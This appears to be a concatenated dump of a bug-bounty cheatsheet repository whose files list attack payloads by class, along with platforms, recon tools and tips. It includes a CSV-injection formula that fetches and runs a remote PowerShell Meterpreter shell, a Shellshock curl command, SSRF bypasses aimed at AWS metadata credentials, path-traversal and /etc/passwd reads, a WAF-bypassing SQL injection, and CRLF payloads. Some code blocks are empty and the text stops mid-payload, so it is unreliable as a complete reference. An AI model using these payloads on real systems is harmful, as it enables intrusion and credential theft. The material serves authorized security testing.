├── cheatsheets
├── content-injection.md
├── csv-injection.md
├── template-injection.md
├── xslt.md
├── practice-platforms.md
├── rce.md
├── bugbountyplatforms.md
├── cors.md
├── ssrf.md
├── recon.md
├── lfi.md
├── sqli.md
├── special-tools.md
├── bugbountytips.md
├── crlf.md
├── open-redirect.md
├── xxe.md
├── books.md
├── crypto.md
└── xss.md
├── CONTRIBUTING.md
├── README.md
└── LICENSE
/cheatsheets/content-injection.md:
--------------------------------------------------------------------------------
1 | ## Content Injection
2 |
3 | ```
4 | ❤ bounty pls
5 | ```
--------------------------------------------------------------------------------
/cheatsheets/csv-injection.md:
--------------------------------------------------------------------------------
1 | ## CSV Injection
2 |
3 | **Newline character**
4 |
5 | ```
6 | %0A-3+3+cmd|' /C calc'!D2
7 | ```
8 |
9 | **Meterpreter Shell**
10 |
11 | ```
12 | =cmd|'/C powershell IEX(wget bit.ly/1X146m3)'!A0
13 | ```
--------------------------------------------------------------------------------
/cheatsheets/template-injection.md:
--------------------------------------------------------------------------------
1 | ## Template Injection
2 |
3 | **Ruby**
4 |
5 | ```ruby
6 | <%=`id`%>
7 | ```
8 |
9 | **Twig**
10 |
11 | The following payload should output `49`.
12 |
13 | ```
14 | {{7*'7'}}
15 | ```
16 |
17 | **Jinja**
18 |
19 | This payload should output `7777777`.
20 |
21 | ```
22 | {{7*'7'}}
23 | ```
24 |
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # Contributing
2 |
3 | We welcome contributions from the public.
4 |
5 | ### Using the issue tracker 💡
6 |
7 | The issue tracker is the preferred channel for bug reports and features requests. [](https://github.com/EdOverflow/bugbounty-cheatsheet/issues)
8 |
9 | ### Issues and labels 🏷
10 |
11 | Our bug tracker utilizes several labels to help organize and identify issues.
12 |
13 | ### Guidelines for bug reports 🐛
14 |
15 | Use the GitHub issue search — check if the issue has already been reported.
16 |
--------------------------------------------------------------------------------
/cheatsheets/xslt.md:
--------------------------------------------------------------------------------
1 | ## XSLT Injection
2 |
3 | **Backend infos**
4 |
5 | ```xml
6 |
7 |
8 |
9 | xsl:vendor =
10 | xsl:version =
11 |
12 |
13 | ```
14 |
15 | **Injecting in PHP**
16 |
17 | ```xml
18 |
19 |
20 |
21 |
22 |
23 |
24 | ```
25 |
26 |
--------------------------------------------------------------------------------
/cheatsheets/practice-platforms.md:
--------------------------------------------------------------------------------
1 | ## Practice Platforms
2 |
3 | - [Pentesterlab](https://pentesterlab.com/)
4 | - [XSS Game](https://xss-game.appspot.com/)
5 | - [Hack This Site](https://www.hackthissite.org)
6 | - [Root-Me](https://www.root-me.org)
7 | - [HackTheBox](https://www.hackthebox.eu)
8 | - [Hack Me](https://hack.me)
9 | - [CTF 365](https://ctf365.com)
10 | - [Google Gruyere](https://google-gruyere.appspot.com/)
11 | - [OWASP Juice Shop](http://juice-shop.herokuapp.com/)
12 | - [Hack Yourself First](http://hackyourselffirst.troyhunt.com/)
13 | - [flAWS Cloud](http://flaws.cloud/)
14 | - [bWAPP](http://www.itsecgames.com/)
15 | - [OWASP Mutillidae] (https://www.owasp.org/index.php/OWASP_Mutillidae_2_Project)
16 | - [tryhackme](https://tryhackme.com/)
17 | - [Portswigger Labs](https://portswigger.net/web-security/all-labs)
18 |
--------------------------------------------------------------------------------
/cheatsheets/rce.md:
--------------------------------------------------------------------------------
1 | ## RCE
2 |
3 | **Werkzeug Debugger**
4 |
5 | Find somewhere where user input can be supplied and submit the following string to cause an error:
6 |
7 | ```
8 | strіng
9 | ```
10 |
11 | If the target is running their application in debug mode you might be able to run commands. If you are running the target locally, you can probably brute-force the debugger PIN. The debugger PIN is always in the following format: `***-***-***`.
12 |
13 | **Basic Bypasses**
14 |
15 | ```
16 | i'''d
17 | i"""d
18 | ```
19 |
20 | ```
21 | \l\s -l\a\h
22 | ```
23 |
24 | ```
25 | cat /e?c/p?ss??
26 | cat /e??/??ss*
27 | ```
28 |
29 | ```
30 | {ls,}
31 | {ls,-a}
32 | ```
33 |
34 | **Shellshock Bug**
35 |
36 | ```bash
37 | () { :;}; echo vulnerable
38 | ```
39 |
40 | ```zsh
41 | curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
42 | ```
43 |
--------------------------------------------------------------------------------
/cheatsheets/bugbountyplatforms.md:
--------------------------------------------------------------------------------
1 | ## Bug Bounty Platforms
2 |
3 | **Open For Signup**
4 |
5 | - [HackerOne](https://www.hackerone.com/)
6 | - [Bugcrowd](https://www.bugcrowd.com/)
7 | - [BountyFactory](https://bountyfactory.io/)
8 | - [Intigriti](https://intigriti.be/)
9 | - [Bugbountyjp](https://bugbounty.jp/)
10 | - [Safehats](https://safehats.com/)
11 | - [BugbountyHQ](https://www.bugbountyhq.com/)
12 | - [Hackerhive](https://hackerhive.io/)
13 | - [Hackenproof](https://hackenproof.com/)
14 | - [Hacktrophy](https://hacktrophy.com/)
15 | - [CESPPA](https://www.cesppa.com/)
16 |
17 | **Invite based Platforms**
18 |
19 | - [Synack](https://www.synack.com/red-team/)
20 | - [Cobalt](https://cobalt.io/)
21 | - [Zerocopter](https://zerocopter.com/)
22 | - [Yogosha](https://www.yogosha.com/)
23 | - [Bugbountyzone](https://bugbountyzone.com/)
24 | - [Antihack.me](http://www.antihack.me/)
25 | - [Vulnscope](https://www.vulnscope.com/)
26 |
--------------------------------------------------------------------------------
/cheatsheets/cors.md:
--------------------------------------------------------------------------------
1 | ## Cross Origin Resource Sharing (CORS)
2 |
3 | Testing:
4 | `curl --head -s 'http://example.com/api/v1/secret' -H 'Origin: http://evil.com'`
5 |
6 | Check to see what the server responds with in the `Access-Control-Allow-Origin:` (if anything) and if so, check if `Access-Control-Allow-Credentials: true` is present.
7 |
8 | If it is trusting arbitrary origins **with** allow-credentials set to true, then host this HTML as a proof of concept.
9 |
10 | ```
11 |
12 |
13 | BugBounty CheatSheet
14 |
15 |
16 | CORs POC
17 |
18 |
20 |
21 |
22 |
23 |
36 | ```
37 |
--------------------------------------------------------------------------------
/cheatsheets/ssrf.md:
--------------------------------------------------------------------------------
1 | ## SSRF
2 |
3 | ```
4 | http://0177.1/
5 | ```
6 |
7 | ```
8 | http://0x7f.1/
9 | ```
10 |
11 | ```
12 | http://127.000.000.1
13 | ```
14 |
15 | ```
16 | https://520968996
17 | ```
18 |
19 | _Note:_ The latter can be calculated using http://www.subnetmask.info/
20 |
21 | **Exotic Handlers**
22 |
23 | ```
24 | gopher://, dict://, php://, jar://, tftp://
25 | ```
26 |
27 | **IPv6**
28 |
29 | ```
30 | http://[::1]
31 | ```
32 |
33 | ```
34 | http://[::]
35 | ```
36 |
37 | **Wildcard DNS**
38 |
39 | ```
40 | 10.0.0.1.xip.io
41 | www.10.0.0.1.xip.io
42 | mysite.10.0.0.1.xip.io
43 | foo.bar.10.0.0.1.xip.io
44 | ```
45 | _Link:_ http://xip.io
46 |
47 | ```
48 | 10.0.0.1.nip.io
49 | app.10.0.0.1.nip.io
50 | customer1.app.10.0.0.1.nip.io
51 | customer2.app.10.0.0.1.nip.io
52 | otherapp.10.0.0.1.nip.io
53 | ```
54 |
55 | _Link:_ http://nip.io
56 |
57 | **AWS EC2 Metadata**
58 |
59 | ```
60 | http://169.254.169.254/latest/meta-data/
61 | ```
62 |
63 | ```
64 | http://169.254.169.254/latest/meta-data/local-hostname
65 | ```
66 |
67 | ```
68 | http://169.254.169.254/latest/meta-data/public-hostname
69 | ```
70 |
71 | > If there is an IAM role associated with the instance, role-name is the name of the role, and role-name contains the temporary security credentials associated with the role [...]
72 |
73 | _Link:_ http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html (includes a comprehensive Instance Metadata Categories table)
74 |
--------------------------------------------------------------------------------
/cheatsheets/recon.md:
--------------------------------------------------------------------------------
1 | # Certspotter
2 |
3 | ```zsh
4 | curl https://certspotter.com/api/v0/certs\?domain\=example.com | jq '.[].dns_names[]' | sed 's/\"//g' | sed 's/\*\.//g' | uniq
5 | ```
6 |
7 | ```zsh
8 | curl https://certspotter.com/api/v0/certs\?domain\=example.com | jq '.[].dns_names[]' | sed 's/\"//g' | sed 's/\*\.//g' | uniq | dig +short -f - | uniq | nmap -T5 -Pn -sS -i - -p 80,443,21,22,8080,8081,8443 --open -n -oG -
9 | ```
10 |
11 | # Sublist3r One-liner
12 |
13 | This runs [Sublist3r](https://github.com/aboul3la/Sublist3r) on a list of domains and outputs the results in separate files.
14 |
15 | ```
16 | . <(cat domains | xargs -n1 -i{} python sublist3r.py -d {} -o {}.txt)
17 | ```
18 |
19 | # [Apktool](https://ibotpeaches.github.io/Apktool/) to [LinkFinder](https://github.com/GerbenJavado/LinkFinder)
20 |
21 | ```
22 | apktool d app.apk; cd app;mkdir collection; find . -name \*.smali -exec sh -c "cp {} collection/\$(head /dev/urandom | md5 | cut -d' ' -f1).smali" \;; linkfinder -i 'collection/*.smali' -o cli
23 | ```
24 |
25 | # [Aquatone](https://github.com/michenriksen/aquatone/) One-liner
26 |
27 | ```
28 | $ echo "aquatone-discover -d \$1 && aquatone-scan -d \$1 --ports huge && aquatone-takeover -d \$1 && aquatone-gather -d \$1" >> aqua.sh && chmod +x aqua.sh
29 | $./aqua.sh domain.com
30 | ```
31 |
32 | # [relative-url-extractor](https://github.com/jobertabma/relative-url-extractor)
33 |
34 | ```
35 | $ ruby extract.rb demo-file.js
36 | $ ruby extract.rb https://hackerone.com/some-file.js
37 | $ ruby extract.rb '|cat demo-file.js' -c
38 | ```
39 |
--------------------------------------------------------------------------------
/cheatsheets/lfi.md:
--------------------------------------------------------------------------------
1 | ## LFI
2 |
3 | **Filter Bypass**
4 |
5 | ```
6 | ../\
7 | ```
8 |
9 | ```
10 | ..\/
11 | ```
12 |
13 | ```
14 | /..
15 | ```
16 |
17 | ```
18 | \/..
19 | ```
20 |
21 | ```
22 | /%5c..
23 | ```
24 |
25 | **FFmpeg Local File Disclosure**
26 |
27 | This [script](https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py) by @neex can be used to disclose local files on FFmpeg hosts which parse externally-referencing [HLS playlists](https://ffmpeg.org/ffmpeg-formats.html#hls-2).
28 |
29 | _Steps to reproduce_
30 |
31 | 1. Please download the script from @neex to your "attacker" instance
32 | 2. Execute the script with your desired parameters: `python3 gen_xbin_avi.py file:///etc/hostname bugbounty.avi`
33 | 3. Upload the generated AVI file to your target site (e.g. within a 'video upload page')
34 | 4. The target may process the malicious HLS inclusion with FFmpeg on the server-side.
35 | 5. Play the uploaded AVI via the target site. If successful, your desired file will be disclosed within the video.
36 |
37 | Alternative scripts exist which may generate different HLS formats or lead to the desired file being disclosed in a different manner.
38 |
39 | **Blogs**
40 | * http://pastie.org/840199
41 | * http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
42 | * http://www.notsosecure.com/folder2/2010/08/20/lfi-code-exec-remote-root/?utm_source=twitterfeed&utm_medium=twitter
43 | * http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/
44 | * http://www.digininja.org/blog/when_all_you_can_do_is_read.php
45 |
--------------------------------------------------------------------------------
/cheatsheets/sqli.md:
--------------------------------------------------------------------------------
1 | ## SQLI
2 |
3 | **Akamai Kona Bypass**
4 |
5 | * `MID` instead of `SUBSTRING`
6 | * `LIKE` instead of `=`
7 | * `/**/` instead of a `space`
8 | * `CURRENT_USER` instead of `CURRENT_USER()`
9 | * ` "` instead of `'`
10 |
11 | Final example:
12 |
13 | ```sql
14 | 444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/"p"/**/#
15 | ```
16 |
17 | **Blogs**
18 |
19 | * http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/
20 | * http://isc.sans.edu/diary.html?storyid=9397
21 | * http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
22 | * http://xd-blog.com.ar/descargas/manuales/bugs/full-mssql-injection-pwnage.html
23 | * http://securityoverride.com/articles.php?article_id=1&article=The_Complete_Guide_to_SQL_Injections
24 | * http://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/
25 | * http://sqlzoo.net/hack/
26 | * http://www.sqlteam.com/article/sql-server-versions
27 | * http://www.krazl.com/blog/?p=3
28 | * http://www.owasp.org/index.php/Testing_for_MS_Access
29 | * http://web.archive.org/web/20101112061524/http://seclists.org/pen-test/2003/May/0074.html
30 | * http://web.archive.org/web/20080822123152/http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html
31 | * http://www.youtube.com/watch?v=WkHkryIoLD0
32 | * http://layerone.info/archives/2009/Joe%20McCray%20-%20Advanced%20SQL%20Injection%20-%20L1%202009.pdf
33 | * http://vimeo.com/3418947
34 | * http://sla.ckers.org/forum/read.php?24,33903
35 | * http://websec.files.wordpress.com/2010/11/sqli2.pdf
36 | * http://old.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/
37 | * http://ha.ckers.org/sqlinjection/
38 | * http://lab.mediaservice.net/notes_more.php?id=MSSQL
39 |
--------------------------------------------------------------------------------
/cheatsheets/special-tools.md:
--------------------------------------------------------------------------------
1 | ## Special Tools
2 |
3 | **Resolution**
4 |
5 | - http://dnsbin.zhack.ca (DNS)
6 | - http://pingb.in (DNS)
7 | - https://www.mockbin.org/ (HTTP)
8 |
9 | **Wildcard DNS**
10 |
11 | - http://xip.io
12 |
13 | ```
14 | 10.0.0.1.xip.io
15 | www.10.0.0.1.xip.io
16 | mysite.10.0.0.1.xip.io
17 | foo.bar.10.0.0.1.xip.io
18 | ```
19 |
20 | - http://nip.io
21 |
22 | ```
23 | 10.0.0.1.nip.io
24 | app.10.0.0.1.nip.io
25 | customer1.app.10.0.0.1.nip.io
26 | customer2.app.10.0.0.1.nip.io
27 | otherapp.10.0.0.1.nip.io
28 | ```
29 |
30 | **Reconnaissance**
31 |
32 | - https://spyse.com (fully-fledged recon service)
33 | - https://dnsdumpster.com (DNS and subdomain recon)
34 | - [Reverse IP Lookup](http://reverseip.domaintools.com/) (Domainmonitor)
35 | - [Security headers](https://securityheaders.io/) (Security Report, missing headers)
36 | - http://threatcrowd.org (WHOIS, DNS, email, and subdomain recon)
37 | - https://mxtoolbox.com (wide range of DNS-related recon tools)
38 | - https://publicwww.com/ (Source Code Search Engine)
39 | - http://ipv4info.com/ (Find domains in the IP block owned by a Company/Organization)
40 | - [HackerTarget Tools](https://hackertarget.com/ip-tools/) (DNS recon, site lookup, and scanning tools)
41 | - [VirusTotal](https://virustotal.com/en-gb/domain/google.com/information/) (WHOIS, DNS, and subdomain recon)
42 | - [crt.sh](https://crt.sh/?q=%25.uber.com) (SSL certificate search)
43 | - [Google CT](https://transparencyreport.google.com/https/certificates) (SSL certificate transparency search)
44 | - [PenTest Tools](https://pentest-tools.com/information-gathering/google-hacking) (Google dorks)
45 | - [Wayback Machine](https://archive.org/web/) (Find stuff which was hosted on the domain in past)
46 | - [FindSubdomains](https://findsubdomains.com/) (Find subdomains using domain or keywords)
47 |
48 |
49 |
50 | **Report Templates**
51 |
52 | - https://github.com/fransr/template-generator
53 | - https://github.com/ZephrFish/BugBountyTemplates
54 |
--------------------------------------------------------------------------------
/cheatsheets/bugbountytips.md:
--------------------------------------------------------------------------------
1 | ## Bug Bounty Tips
2 |
3 | **Tip #1**
4 |
5 | Use GIT as a recon tool. Find the target's GIT repositories, clone them, and then check the logs for information on the team not necessarily in the source code. Say the target is Reddit and I want to see which developers work on certain projects.
6 |
7 | [Link](https://gist.github.com/EdOverflow/a9aad69a690d97a8da20cd4194ca6596 )
8 |
9 | **Tip #2**
10 |
11 | Look for GitLab instances on targets or belonging to the target. When you stumble across the GitLab login panel, navigate to `/explore`. Misconfigured instances do not require authentication to view the internal projects. Once you get in, use the search function to find passwords, keys, etc. This is a pretty big attack vector and I am finally revealing it today, because I am sure it will help a lot of you get some critical issues.
12 |
13 | **Tip #3**
14 |
15 |
16 | Bug bounty tip: test applications of a company that costs money or requires manual setup. Chances are only few to none would have tested it leaving it vulnerable.
17 |
18 | **Tip #4**
19 |
20 | If you’ve found an IDOR where you’re able to change data of others then don’t jump out of your seat to report it > modify it to XSS payload & if inputs are not sanitized & variables are echo’d without getting escaped then IDOR>XSS>ATO.
21 |
22 |
23 | **Tip #5**
24 |
25 | Look for *hackathon-related* assets. What I mean by this is sometimes companies run hackathons and give attendees special access to certain API endpoints and/or temporary credentials. I have found GIT instances that were set up for Hackathons full of information that allowed me to find more issues in the target several times.
26 |
27 |
28 |
29 | **Tip #6**
30 |
31 | Keep all your directory brute force results so when a CVE like Drupalgeddon2 comes out, you can look for previously found instances (cat dirsearch/reports/*/* | grep INSTALL.mysql.txt | grep 200 | less)/
32 |
33 |
34 |
35 | **Tip #7**
36 |
37 | When you have a form, always try to change the request method from POST to GET in order to improve the CVSS score.
38 | For example, demonstrating a CSRF can be exploited simply by using \[img\] tag is better than having to send a link to the victim.
39 |
--------------------------------------------------------------------------------
/cheatsheets/crlf.md:
--------------------------------------------------------------------------------
1 | ## CRLF Injection || HTTP Response Splitting
2 |
3 | ```
4 | %0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
5 | ```
6 |
7 | **Header-based test, site root**
8 |
9 | ```
10 | %0d%0aheader:header
11 | ```
12 | ```
13 | %0aheader:header
14 | ```
15 | ```
16 | %0dheader:header
17 | ```
18 | ```
19 | %23%0dheader:header
20 | ```
21 | ```
22 | %3f%0dheader:header
23 | ```
24 |
25 | ```
26 | /%250aheader:header
27 | ```
28 |
29 | ```
30 | /%25250aheader:header
31 | ```
32 |
33 | ```
34 | /%%0a0aheader:header
35 | ```
36 |
37 | ```
38 | /%3f%0dheader:header
39 | ```
40 |
41 | ```
42 | /%23%0dheader:header
43 | ```
44 |
45 | ```
46 | /%25%30aheader:header
47 | ```
48 |
49 | ```
50 | /%25%30%61header:header
51 | ```
52 |
53 | ```
54 | /%u000aheader:header
55 | ```
56 |
57 | **CRLF chained with Open Redirect server misconfiguration**
58 |
59 | _Note:_ This sometimes works. (Discovered in some Yandex sites, was not exploitable from the root.)
60 |
61 | ```
62 | //www.google.com/%2f%2e%2e%0d%0aheader:header
63 | ```
64 | ```
65 | /www.google.com/%2e%2e%2f%0d%0aheader:header
66 | ```
67 | ```
68 | /google.com/%2F..%0d%0aheader:header
69 | ```
70 |
71 | **Twitter specific CRLF** by [@filedescriptor](http://blog.innerht.ml/twitter-crlf-injection/)
72 |
73 | ```
74 | %E5%98%8A%E5%98%8Dheader:header
75 | ```
76 |
77 | **CRLF Injection to XSS**
78 |
79 | ```
80 | %0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a